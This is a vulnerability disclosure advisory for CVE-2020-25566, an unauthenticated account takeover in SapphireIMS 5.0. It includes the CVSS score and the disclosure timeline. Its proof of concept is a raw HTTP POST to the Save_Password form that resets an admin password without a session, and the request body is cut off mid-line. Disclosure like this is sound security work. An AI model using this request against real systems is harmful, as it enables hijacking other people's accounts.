[CVE-2020-25566] SapphireIMS: Unauthenticated account takeover

Posted on Sep 19, 2020

Description

In SapphireIMS 5.0, it is possible to take over an account by sending a request to the Save_Password form as shown in POC. Notice that we do not require a JSESSIONID in this request and can reset any user's password by changing the `username` to that user and password to `base64(desired password)` .

CVSS 3.0 Base Score

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Researcher

Tanoy Bose

POC

```
POST /SapphireIMS/Save_Password HTTP/1.1
Host: 192.168.191.48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Fir
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 434
Origin: http://192.168.191.48
Connection: close
Referer: http://192.168.191.48/SapphireIMS/ChangePassword.jsp
Upgrade-Insecure-Requests: 1

username=admin&username=admin&fullName=Administrator&email=sapphireimsuser%40loca
```

Vulnerability Tracker]

- CVE-2020-25566

Disclosure timelines

- 07 May, 2020 - Vendor informed; failed
- 16 Sept, 2020 - Cert-CC and Cert-In Informed

CVE-2020-25566 # SapphireIMS # Web application